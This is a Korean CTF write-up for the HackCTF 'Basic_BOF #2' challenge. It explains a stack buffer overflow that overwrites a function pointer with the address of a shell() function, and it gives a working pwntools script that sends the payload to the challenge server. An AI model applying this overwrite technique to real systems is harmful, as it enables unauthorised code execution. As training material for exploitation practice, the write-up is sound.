tmxklab

[HackCTF/Pwnable] Basic_BOF #2 본문

War Game/HackCTF

[HackCTF/Pwnable] Basic_BOF #2

tmxk4221 2020. 1. 21. 01:35

1. 문제확인

 

nc ctf.j0n9hyun.xyz 3001

 

1) 접속

  • "hi"를 입력하면 출력 값으로 "하아아아아앙"(?)을 출력하고 프로그램은 더이상 실행안됨

 

2) IDA(Pseudocode)확인 - main()

  • IDA의 hex-lay기능을 통해 디컴파일된 c언어 코드로 변환
  • char형 s변수는 [ebp-8Ch]이므로 ebp로부터 140bytes만큼 떨어져 있고 void형 v5함수 포인터 변수는 [ebp-Ch]이므로 ebp로부터 12bytes만큼 떨어져 있음
  • v5변수 선언 후에 sup()함수의 주소를 저장
  • fgets()로 133bytes만큼의 입력 값을 받음
  • v5()가 방금 지정한 함수 실행

 

3) IDA(Pseudocode)확인 - sup()

  • s에 입력된 값을 화면에 출력함

 

4) IDA(Pseudocode)확인 - shell()

  • system()함수 실행

2. 접근방법

1) 스택 구조

 

2) 결론

  • main()에 나와있지 않은 shell()를 실행시켜야 system()를 실행할 수 있음
  • v5포인터 변수에 지정된 sup()주소를 shell()주소로 변경시켜야 함
  • s변수와 v5변수의 사이는 128bytes이며 fgets()는 133bytes까지 s변수에 입력받을 수 있음
  • 따라서, 128bytes는 쓰레기 값을 넣고 나머지 4bytes는 shell()주소 값을 채워넣으면 됨

3. 풀이

1) shell()주소 값 확인

  • shell() 시작 주소 값 : 0x0804849B

 

2) 공격코드 작성

from pwn import *   # pwntools모듈

# remote(ip, port), ip는 string형, port는 int형
p = remote("ctf.j0n9hyun.xyz", 3001)

# 공격 payload 작성, p32는 packing관련 함수로 32비트 리틀엔디안 방식으로 패킹
payload = "b"*128 + p32(0x0804849B)

# payload객체에 저장된 값을 보냄
p.sendline(payload)

# interactive()는 쉘과 직접적으로 명령을 송수신할 수 있는 함수
p.interactive()
  • payload객체에 128bytes의 쓰레기 값과 v5변수에 덮을 0x0804849B값을 저장

 

3) 공격실행

Comments